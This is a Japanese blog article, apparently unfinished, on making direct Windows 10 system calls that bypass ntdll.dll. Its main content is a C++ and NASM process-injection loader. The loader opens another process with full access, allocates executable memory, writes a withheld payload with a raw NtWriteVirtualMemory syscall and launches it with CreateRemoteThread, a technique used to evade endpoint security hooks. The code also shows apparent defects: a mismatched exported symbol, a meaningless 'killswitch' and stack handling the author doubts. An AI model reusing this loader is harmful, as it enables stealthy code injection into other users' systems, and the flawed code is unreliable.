🔖

Manual "syscall" on Windows10(未完)

に公開

執筆に至った経緯

英語・日本語・中国語・韓国語にsyscallやカーネルに関する優れた文献はいくつもありましたが、どれも純粋なsyscallを呼び出すコーディングについて言及しているものではありませんでした。また、必要な知見は散りばめられており一つの文献で解決できるようになることは有益だと思います。

今後の意向

記事を随時更新する意向です。なお本記事の内容は2024/11迄の情報です。

目的

特に、ntdll.dllを介さずに任意のWindowsAPI関数を呼び出すこととします。
あらゆる副次的な知識は別記事や参照先のURLで述べられています。

システムコールについて

user32.dllkernel32.dllにふくまれるWindowsAPIは、おおよそシステムコール関数というものに変換されます。システムコール関数はntdllNtZtが先頭に付与されています。
たとえば、kernel32.dllにふくまれるOpenProcess()ならNtOpenProcessに変換されます。
ここでは、NtOpenProcessがシステムコール関数です。

システムコール関数にはそれぞれ一意にシステムコール番号が割り振られています。
これはWindowsのバージョンによって違います。

バージョンについて

[設定] < [システム] < [詳細情報] の [バージョン] セクションから確認できます。
同じWindows10においても、
1507, 1511, 1607, 1703, 1709, 1803, 1809, 1903, 1909, 2004, 20H2, 21H1, 21H2, 22H2
の14つにもわたるバージョンがあります。

各自は、該当するバージョンとそのシステムコール番号をココ↓
https://j00ru.vexillium.org/syscalls/nt/64/
の対応表で確認してください。

syscallについて

syscallとは、システムコール関数を実行するための関数であり、呼び出し法です。
あらゆるWindowsAPIは、システムコール関数を介し、syscallに呼ばれ、実行されます。

コーディングイメージはこんなんです。

syscall(システムコール番号, 第一引数, 第二引数, 第三引数...)
syscall

syscall 概要

syscallは、ユーザに提供されるWindowsAPIからネイティブAPIへの翻訳者のようであり、橋渡しであり、スタブであり、ラッパーであり、リレーです。
syscallは、ユーザモードからカーネルモードへ一時的に遷移(URL)し、
syscall呼び出し直後、raxレジスタはシステムコール番号が格納されます(画像)。

正規的な順序

User Mode-----------------------------------------
			Applications
			     


			 WindowsAPI


                          syscall
Kernel Mode----------------- ↕ -------------------
		      Kernel subsystem
		↕			  ↕

	Kernel-mode-drivers	      OS-kernel

		↕			  ↕

		 Hardware Abstraction Layer



			  Hardware

User ModeのApplicationsから呼び出されたWindowsAPIはsyscallによってカーネルモードへリレーされます。

正規に関数を呼び出すときの流れ


プログラムのフロー

C++から外部関数としてsyscall.asmを呼び出します。

C++

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <psapi.h>

#include <iostream>
using namespace std;

// Windows10 : 22H2
#define SYS_op_Win10 0x0026    // NtOpenProcess
#define SYS_va_Win10 0x0018    // NtAllocateVirtualMemory
#define SYS_wpm_Win10 0x003a    // NtWriteVirtualMemory
#define SYS_crt_Win10 0x004e    // NtCreateThreadEx

extern "C" NTSTATUS syscall(DWORD number, ...);


BOOL WriteProcessMemorySyscall(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);

unsigned char payload[] = "16進数が入ります。さすがに公開はしません。";


unsigned int payload_len = sizeof(payload);

int main(int argc, char* argv[]) {
    HANDLE ph;
    PVOID rb;
    HANDLE rt;
	
	//killswitch
	int flag;
	string echo;
	const char* echo2 = echo.c_str();
	flag = system(echo2);
	
	if (flag != 0x409F){
	    ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));

	    rb = VirtualAllocEx(ph, NULL, payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);

	    //WriteProcessMemorySyscall(ph, rb, payload, payload_len, NULL);
	    NTSTATUS result = syscall(SYS_wpm_Win10, ph, rb, payload, payload_len, NULL);

	    rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);

	    CloseHandle(ph);

	    return 0;
	}
}


BOOL WriteProcessMemorySyscall(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten) {
    BOOL wpm = (BOOL)syscall(SYS_wpm_Win10, hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten);
    //syscall(SYS_wpm_Win10, hProcess, lpBaseAddress, lpBuffer, nSize, lpNumberOfBytesWritten);
    return TRUE;
}


.asmより, syscall

bits 64
section .text
global wrapper

wrapper:
    mov rax, rcx

    mov rcx, rdx
    mov rdx, r8
    mov r8, r9
    mov r9, [rsp + 8]    ;+8でできたっけ?

    pop r11
    add rsp, 8
    push r11

    mov r10, rcx
    syscall

    pop r11
    sub rsp, 8
    push r11

    ret

64bitで、
.text(コード書くところ)で、
外部の.cppからwrapper()関数として呼び出せますよ。
という明示です。

    bits 64
    section .text
    global wrapper

以降、wrapper()関数を定義します。
syscallで用いられるべく、raxレジスタに第一引数rcxを代入します。

wrapper:
    mov rax, rcx

本来、第一引数に入るべき引数がシステムコール番号によってズレてるので
逆ズレによって直します。

syscall(システムコール番号, 第一引数, 第二引数, 第三引数...)   |   rax()
                    ↓                                      |
syscall(第一引数, 第二引数, 第三引数...)                     |   rax(システムコール番号)

ようするにrcxに本来の第一引数が入るように調整しているのが以下です。

    mov rcx, rdx
    mov rdx, r8
    mov r8, r9
    mov r9, [rsp + 8] 

スタック調整?

    pop r11
    add rsp, 8
    push r11

仕様上なぜか、第一引数(rcx)をr10にとるので
全ての準備が整ったので、syscall()

    mov r10, rcx
    syscall

    pop r11
    sub rsp, 8
    push r11

    ret

syscall構文と呼び出し規約

によれば
第1引数:rcx
第2引数:rdx
第3引数:r8
第4引数:r9
第5引数以降:スタックに積まれる
のですが、図(↓)を見た感じsyscallはすこし変わった呼び出し構文を持っているようです。

Visual Studio

って、インストール永石、要領で開始、軌道遅いし、UIきたないしボタン大石、生成ファイル多いしディレクトリ移動面倒だしウィンドウぐちゃぐちゃなるし嫌いですよね_?僕は嫌いです。
だからnotepadでasmかきます
なんか一応、Visual Studio VC++x64でレジスタ操作はできるみたいですケド..まぁこれは「直接、間接的に操作している」みたいなニュアンスなので

Discussion